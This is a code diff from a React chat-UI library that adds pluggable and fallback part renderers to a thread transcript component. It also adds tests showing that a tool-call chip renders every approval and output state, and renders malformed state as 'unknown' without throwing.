+ type ThreadTranscriptBase = {
216
389
  /** Settled messages for the thread, oldest first. */
217
- readonly messages: ChatMessage[]
390
+ readonly messages: readonly ChatMessage<TranscriptPart>[]
218
391
  /** The live (in-flight) assistant turn's parts, when a run is streaming for this thread. */
219
- readonly liveParts?: AgentPart[]
392
+ readonly liveParts?: readonly TranscriptPart[]
220
393
  /** The live run's status — drives the in-progress indicator on the live block. */
221
394
  readonly liveStatus?: StreamStatus
395
+ /** Consumer renderers keyed by part.type. Consulted BEFORE the built-in union. */
396
+ readonly renderers?: PartRenderers
397
+ /** Called for a part whose type is neither an AgentPart variant nor a registered key. Defaults
398
+ * to a visible `UnknownPartChip` outside production, `null` in production — never throws. */
399
+ readonly fallbackRenderer?: PartRenderer<ForeignPart>
222
400
  }
223
401
 
402
+ export type ThreadTranscriptProps = ThreadTranscriptBase
403
+
224
404
  /**
225
- * Renders a thread's settled messages, each role-labelled ("You" / "Assistant") and rendered via
226
- * `PartList` + `threadPartRenderers`. When `liveParts` is non-empty, an extra in-progress
405
+ * Renders a thread's settled messages, each role-labelled ("You" / "Assistant"). Each part
406
+ * resolves in order: a registered `renderers[part.type]` first, then basalt's own `PartList` for
407
+ * the built-in six, then `fallbackRenderer`. When `liveParts` is non-empty, an extra in-progress
227
408
  * assistant block is appended at the tail.
228
409
  *
229
410
  * @example
@@ -234,18 +415,35 @@ export function ThreadTranscript({
234
415
  messages,
235
416
  liveParts,
236
417
  liveStatus,
418
+ renderers: renderersProp,
419
+ fallbackRenderer = DEFAULT_FALLBACK_RENDERER,
237
420
  }: ThreadTranscriptProps): JSX.Element {
421
+ // Mirrors PartList's own `useMemo` (part-list.tsx:237-240) — avoids rebuilding the renderer
422
+ // lookup on every streaming re-render.
423
+ const renderers = useMemo(() => renderersProp ?? EMPTY_RENDERERS, [renderersProp])
424
+
425
+ const liveMessage = useMemo<ChatMessage<TranscriptPart> | null>(() => {
426
+ if (liveParts === undefined || liveParts.length === 0) return null
427
+ return { id: '__live__', role: 'assistant', parts: liveParts as TranscriptPart[], createdAt: 0 }
428
+ }, [liveParts])
429
+
238
430
  return (
239
431
  <Stack gap="sm">
240
432
  {messages.map((message) => (
241
- <MessageBlock key={message.id} author={message.role} parts={message.parts} />
433
+ <MessageBlock
434
+ key={message.id}
435
+ message={message}
436
+ renderers={renderers}
437
+ fallbackRenderer={fallbackRenderer}
438
+ />
242
439
  ))}
243
- {liveParts !== undefined && liveParts.length > 0 && (
440
+ {liveMessage !== null && (
244
441
  <div aria-live="polite" aria-atomic="false" aria-relevant="additions">
245
442
  <MessageBlock
246
- author="assistant"
247
- parts={liveParts}
443
+ message={liveMessage}
248
444
  streaming={liveStatus === 'streaming'}
445
+ renderers={renderers}
446
+ fallbackRenderer={fallbackRenderer}
249
447
  />
250
448
  </div>
251
449
  )}
@@ -139,7 +139,7 @@ export function ThreadWorkspace({
139
139
  <Divider color="var(--vx-divider)" />
140
140
  <Box p="sm">
141
141
  <Composer
142
- onSubmit={handleNewThread}
142
+ onSubmit={({ text }) => handleNewThread(text)}
143
143
  {...(newThreadPlaceholder !== undefined ? { placeholder: newThreadPlaceholder } : {})}
144
144
  />
145
145
  </Box>
@@ -0,0 +1,139 @@
1
+ /**
2
+ * ToolChip — one test per wire state proving it renders without throwing, plus the
3
+ * approve/deny-visibility contract: rendered ONLY in 'approval-requested', and only for whichever
4
+ * of onApprove/onDeny is actually supplied.
5
+ */
6
+ import { MantineProvider } from '@mantine/core'
7
+ import { cleanup, fireEvent, render, screen } from '@testing-library/react'
8
+ import { afterEach, describe, expect, test } from 'bun:test'
9
+ import { ToolChip } from './tool-chip'
10
+ import type { ToolCallPart } from '../agent'
11
+
12
+ afterEach(cleanup)
13
+
14
+ function renderChip(part: ToolCallPart, extra: Partial<Parameters<typeof ToolChip>[0]> = {}) {
15
+ return render(
16
+ <MantineProvider>
17
+ <ToolChip part={part} defaultExpanded {...extra} />
18
+ </MantineProvider>,
19
+ )
20
+ }
21
+
22
+ const BASE = { id: 'p1', type: 'tool' as const, toolCallId: 'c1', toolName: 'search' }
23
+
24
+ describe('every wire state renders without throwing', () => {
25
+ const CASES: { name: string; part: ToolCallPart }[] = [
26
+ { name: 'input-streaming', part: { ...BASE, state: 'input-streaming' } },
27
+ { name: 'input-available', part: { ...BASE, state: 'input-available', input: { q: 'x' } } },
28
+ {
29
+ name: 'approval-requested',
30
+ part: { ...BASE, state: 'approval-requested', input: { q: 'x' }, approval: { id: 'a1' } },
31
+ },
32
+ {
33
+ name: 'approval-responded (approved)',
34
+ part: {
35
+ ...BASE,
36
+ state: 'approval-responded',
37
+ input: { q: 'x' },
38
+ approval: { id: 'a1', approved: true },
39
+ },
40
+ },
41
+ {
42
+ name: 'approval-responded (declined)',
43
+ part: {
44
+ ...BASE,
45
+ state: 'approval-responded',
46
+ input: { q: 'x' },
47
+ approval: { id: 'a1', approved: false },
48
+ },
49
+ },
50
+ {
51
+ name: 'output-available',
52
+ part: { ...BASE, state: 'output-available', input: { q: 'x' }, output: { hits: 3 } },
53
+ },
54
+ {
55
+ name: 'output-available (preliminary)',
56
+ part: {
57
+ ...BASE,
58
+ state: 'output-available',
59
+ input: { q: 'x' },
60
+ output: { hits: 1 },
61
+ preliminary: true,
62
+ },
63
+ },
64
+ {
65
+ name: 'output-error (with rawInput)',
66
+ part: { ...BASE, state: 'output-error', errorText: 'boom', rawInput: { q: 'x' } },
67
+ },
68
+ {
69
+ name: 'output-denied (with reason)',
70
+ part: {
71
+ ...BASE,
72
+ state: 'output-denied',
73
+ input: { q: 'x' },
74
+ approval: { id: 'a1', approved: false, reason: 'not now' },
75
+ },
76
+ },
77
+ ]
78
+
79
+ for (const { name, part } of CASES) {
80
+ test(name, () => {
81
+ expect(() => renderChip(part)).not.toThrow()
82
+ })
83
+ }
84
+ })
85
+
86
+ describe('approve/deny affordances', () => {
87
+ const REQUESTED: ToolCallPart = {
88
+ ...BASE,
89
+ state: 'approval-requested',
90
+ input: { q: 'x' },
91
+ approval: { id: 'a1' },
92
+ }
93
+
94
+ test('read-only when both handlers are omitted', () => {
95
+ renderChip(REQUESTED)
96
+ expect(screen.queryByText('Approve')).toBeNull()
97
+ expect(screen.queryByText('Deny')).toBeNull()
98
+ })
99
+
100
+ test('renders only the supplied handler', () => {
101
+ renderChip(REQUESTED, { onApprove: () => {} })
102
+ expect(screen.queryByText('Approve')).not.toBeNull()
103
+ expect(screen.queryByText('Deny')).toBeNull()
104
+ })
105
+
106
+ test('calls onApprove with the approval id', () => {
107
+ let approvedId: string | undefined
108
+ renderChip(REQUESTED, { onApprove: (id) => (approvedId = id) })
109
+ fireEvent.click(screen.getByText('Approve'))
110
+ expect(approvedId).toBe('a1')
111
+ })
112
+
113
+ test('never renders for a non-approval-requested state even with both handlers supplied', () => {
114
+ renderChip(
115
+ { ...BASE, state: 'output-available', input: { q: 'x' }, output: {} },
116
+ { onApprove: () => {}, onDeny: () => {} },
117
+ )
118
+ expect(screen.queryByText('Approve')).toBeNull()
119
+ expect(screen.queryByText('Deny')).toBeNull()
120
+ })
121
+ })
122
+
123
+ // F3: a runtime value the type system believes is exhaustively handled — but isn't, once
124
+ // persisted (localStorage, zero shape validation) or wire (edenTransport, zero validation) data
125
+ // is involved — must render an inert 'unknown' chip, never throw via assertNever and blank the
126
+ // transcript.
127
+ describe('a malformed/unrecognized state never throws (F3)', () => {
128
+ test('state undefined (the pre-1.11.0 flat persisted shape) renders "unknown" instead of throwing', () => {
129
+ const malformed = { ...BASE, output: { hits: 1 } } as unknown as ToolCallPart
130
+ expect(() => renderChip(malformed)).not.toThrow()
131
+ expect(screen.getByText('unknown')).not.toBeNull()
132
+ })
133
+
134
+ test('an unrecognized state string renders "unknown" instead of throwing', () => {
135
+ const malformed = { ...BASE, state: 'bogus-future-state' } as unknown as ToolCallPart
136
+ expect(() => renderChip(malformed)).not.toThrow()
137
+ expect(screen.getByText('unknown')).not.toBeNull()
138
+ })
139
+ })